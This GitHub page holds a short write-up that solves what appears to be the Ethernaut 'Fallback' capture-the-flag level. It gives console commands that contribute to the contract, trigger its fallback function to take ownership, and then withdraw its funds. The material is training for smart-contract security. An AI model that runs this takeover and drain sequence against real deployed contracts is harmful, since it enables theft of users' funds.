Skip to content

Latest commit

 

History

History
24 lines (20 loc) · 690 Bytes

File metadata and controls

24 lines (20 loc) · 690 Bytes

The Fallback Function

A fallback function is a solidity function that is called when no other function in the smart contract matches the function name called. https://www.geeksforgeeks.org/solidity-fall-back-function/

Solution

  1. Contribute to the contract
    contract.contribute({ value: toWei(".000001", "ether"), from: player }) 
  1. Send a transaction to trigger fallback function
    sendTransaction({ to: contract.address, value: toWei(".000001", "ether"), from: player })
  1. Withdraw from contract
    contract.withdraw()

**Verify ownership, it should return your address.

    await contract.owner()